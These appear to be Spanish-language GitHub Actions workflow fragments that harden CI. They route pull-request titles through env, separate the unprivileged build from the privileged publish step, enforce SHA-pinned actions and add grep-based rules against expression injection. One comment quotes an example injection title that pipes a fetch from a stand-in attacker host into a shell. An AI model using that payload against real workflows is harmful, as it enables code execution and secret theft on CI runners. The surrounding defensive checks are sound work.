          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          TITULO: ${{ github.event.pull_request.title }}
        run: |
          # El titulo del PR es entrada del ATACANTE. Nunca lo interpoles
          # con ${{ }} directamente en un `run`: un titulo como
          #   "; curl atacante.com | sh #"
          # se convertiria en un comando. Por eso va por `env:`.
          case "$TITULO" in
            feat*) gh pr edit "${{ github.event.number }}" --add-label enhancement ;;
            fix*)  gh pr edit "${{ github.event.number }}" --add-label bug ;;
          esac

# Workflow 1: se ejecuta SIN privilegios, con el codigo del PR
name: CI de PR
on: pull_request
permissions:
  contents: read
jobs:
  construir:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist/ }

# Workflow 2: se ejecuta CON privilegios, pero NUNCA ejecuta codigo del PR
name: Publicar previsualizacion
on:
  workflow_run:
    workflows: ['CI de PR']
    types: [completed]
permissions:
  contents: read
  pull-requests: write
jobs:
  publicar:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      # Solo DESCARGA el artefacto: no ejecuta nada del PR.
      - uses: actions/download-artifact@v4
        with:
          name: dist
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      # ...subir a un hosting de previsualizacion y comentar en el PR...

grep -rn 'pull_request_target' .github/workflows/ && echo "REVISAR CADA UNO" || echo "OK: ninguno"
grep -rn 'ref:.*pull_request.head' .github/workflows/ && echo "PELIGRO" || echo "OK"

  seguridad-ok:
    name: Seguridad OK
    runs-on: ubuntu-latest
    needs: [secretos, sca, codeql, imagen, configuracion]
    if: always()
    permissions:
      contents: read
      security-events: read
    steps:
      - name: Agregar los resultados
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          set -Eeuo pipefail
          declare -A RESULTADOS=(
            [secretos]="${{ needs.secretos.result }}"
            [sca]="${{ needs.sca.result }}"
            [codeql]="${{ needs.codeql.result }}"
            [imagen]="${{ needs.imagen.result }}"
            [configuracion]="${{ needs.configuracion.result }}"
          )

          {
            echo "## 🔒 Resumen de seguridad"
            echo ""
            echo "| Escaneo | Resultado | Bloquea |"
            echo "|---|---|---|"
          } >> "$GITHUB_STEP_SUMMARY"

          FALLOS=0
          for escaneo in "${!RESULTADOS[@]}"; do
            R="${RESULTADOS[$escaneo]}"
            case "$R" in
              success)   ICONO='✅'; BLOQUEA='—' ;;
              skipped)   ICONO='⏭️'; BLOQUEA='—' ;;
              cancelled) ICONO='🚫'; BLOQUEA='Sí'; FALLOS=$((FALLOS+1)) ;;
              *)         ICONO='❌'; BLOQUEA='Sí'; FALLOS=$((FALLOS+1)) ;;
            esac
            echo "| $escaneo | $ICONO $R | $BLOQUEA |" >> "$GITHUB_STEP_SUMMARY"
          done

          # Alertas abiertas en Code scanning, por severidad
          ALERTAS=$(gh api "repos/${{ github.repository }}/code-scanning/alerts?state=open&per_page=100" \
                     --jq 'group_by(.rule.security_severity_level // .rule.severity)
                           | map({sev: .[0].rule.security_severity_level // .[0].rule.severity, n: length})' \
                   2>/dev/null || echo '[]')
          CRIT=$(jq -r '[.[] | select(.sev=="critical") | .n] | add // 0' <<< "$ALERTAS")
          ALTA=$(jq -r '[.[] | select(.sev=="high")     | .n] | add // 0' <<< "$ALERTAS")
          MEDIA=$(jq -r '[.[] | select(.sev=="medium")  | .n] | add // 0' <<< "$ALERTAS")

          {
            echo ""
            echo "### Alertas abiertas en Code scanning"
            echo ""
            echo "| Severidad | Nº | Política |"
            echo "|---|---|---|"
            echo "| Crítica | $CRIT | Bloquea siempre |"
            echo "| Alta | $ALTA | Bloquea en \`main\` |"
            echo "| Media | $MEDIA | Informa |"
          } >> "$GITHUB_STEP_SUMMARY"

          # Aplicación de la política
          if [ "$CRIT" -gt 0 ]; then
            echo "::error::$CRIT alerta(s) CRÍTICA(s) abierta(s)"; FALLOS=$((FALLOS+1))
          fi
          if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
            echo "::error::$ALTA alerta(s) ALTA(s) abierta(s) en main"; FALLOS=$((FALLOS+1))
          fi

          if [ "$FALLOS" -gt 0 ]; then
            echo "" >> "$GITHUB_STEP_SUMMARY"
            echo "### ❌ Puerta de seguridad CERRADA" >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "" >> "$GITHUB_STEP_SUMMARY"
          echo "### ✅ Puerta de seguridad ABIERTA" >> "$GITHUB_STEP_SUMMARY"

  acciones-fijadas:
    name: Acciones fijadas por SHA
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Comprobar que todas las acciones estan fijadas
        run: |
          set -Eeuo pipefail
          SIN_FIJAR=0
          {
            echo "## Fijación de acciones"
            echo ""
          } >> "$GITHUB_STEP_SUMMARY"

          while IFS= read -r hallazgo; do
            FICHERO="${hallazgo%%:*}"
            RESTO="${hallazgo#*:}"
            LINEA="${RESTO%%:*}"
            REF=$(grep -oP '(?<=uses: ).*' <<< "$hallazgo" | sed 's/ *#.*//')

            # Excepciones legitimas: acciones locales y contenedores docker://
            [[ "$REF" == ./* ]] && continue
            [[ "$REF" == docker://* ]] && continue

            VERSION="${REF##*@}"
            if [[ "$VERSION" =~ ^[0-9a-f]{40}$ ]]; then continue; fi

            SIN_FIJAR=$((SIN_FIJAR + 1))
            ACCION="${REF%@*}"
            REPO=$(cut -d/ -f1,2 <<< "$ACCION")
            SHA=$(gh api "repos/${REPO}/git/refs/tags/${VERSION}" --jq '.object.sha' 2>/dev/null || echo '<no resuelto>')

            echo "::error file=${FICHERO},line=${LINEA}::Acción sin fijar: ${REF}. Usa: ${ACCION}@${SHA} # ${VERSION}"
            echo "- \`$FICHERO:$LINEA\` → \`$REF\`  →  \`${ACCION}@${SHA} # ${VERSION}\`" >> "$GITHUB_STEP_SUMMARY"
          done < <(grep -rn 'uses:' .github/workflows/ || true)

          if [ "$SIN_FIJAR" -gt 0 ]; then
            {
              echo ""
              echo "**$SIN_FIJAR acción(es) sin fijar por SHA.**"
              echo ""
              echo "Una etiqueta como \`@v4\` se puede mover: quien controle la acción puede"
              echo "ejecutar código arbitrario en este runner con acceso a los secretos."
              echo ""
              echo "Arréglalo automáticamente con:"
              echo '```bash'
              echo './scripts/fijar-acciones.sh && git diff'
              echo '```'
            } >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "✅ Todas las acciones están fijadas por SHA." >> "$GITHUB_STEP_SUMMARY"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  configuracion:
    name: Escaneo de configuracion
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Trivy en modo config (Dockerfile, compose, workflows)
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
        with:
          scan-type: config
          scan-ref: .
          format: sarif
          output: trivy-config.sarif
          severity: 'CRITICAL,HIGH,MEDIUM'
          exit-code: '0'

      - name: Subir a Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: trivy-config.sarif
          category: trivy-config

      - name: Reglas propias del proyecto
        run: |
          set -Eeuo pipefail
          FALLOS=0
          error() { echo "::error file=$1::$2"; FALLOS=$((FALLOS + 1)); }

          # --- Regla 1: la imagen final NUNCA corre como root ---------------
          # Se comprueba en la ULTIMA etapa: un USER en una etapa intermedia
          # no protege nada.
          ULTIMA_ETAPA=$(awk '/^FROM /{n=NR} END{print n}' Dockerfile)
          if ! awk -v inicio="$ULTIMA_ETAPA" 'NR > inicio && /^USER /' Dockerfile | grep -qv 'USER root'; then
            error Dockerfile "La imagen final no declara un USER no-root"
          fi

          # --- Regla 2: sin `latest` en ninguna imagen base -----------------
          if grep -nE '^FROM .*:latest|^FROM [^:@]+$' Dockerfile; then
            error Dockerfile "Imagen base sin versión fijada (:latest o sin tag)"
          fi

          # --- Regla 3: ningun workflow con permissions: write-all ----------
          if grep -rn 'permissions: *write-all' .github/workflows/; then
            error .github/workflows "permissions: write-all concede todos los permisos"
          fi

          # --- Regla 4: ningun secreto interpolado en un `run:` -------------
          # Los secretos deben entrar por `env:`, donde el enmascarado y el
          # alcance funcionan mejor y no acaban en el historial del shell.
          if grep -rnP 'run:.*\$\{\{\s*secrets\.' .github/workflows/; then
            error .github/workflows "Secreto interpolado directamente en un run:. Pásalo por env:"
          fi

          # --- Regla 5: sin datos de usuario interpolados en un `run:` ------
          if grep -rnP 'run:[\s\S]{0,200}\$\{\{\s*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body)' .github/workflows/; then
            error .github/workflows "Dato controlado por el usuario interpolado en un run: (inyección de expresiones)"
          fi

          # --- Regla 6: sin puertos de base de datos publicados en compose --
          if grep -rnE '^\s+- .?(5432|3306|27017|6379):' ./*.yml observabilidad/*.yml 2>/dev/null; then
            error docker-compose.yml "Puerto de base de datos publicado en el host"
          fi

          if [ "$FALLOS" -gt 0 ]; then
            echo "### ❌ $FALLOS regla(s) de configuración incumplida(s)" >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "### ✅ Configuración conforme a las reglas del proyecto" >> "$GITHUB_STEP_SUMMARY"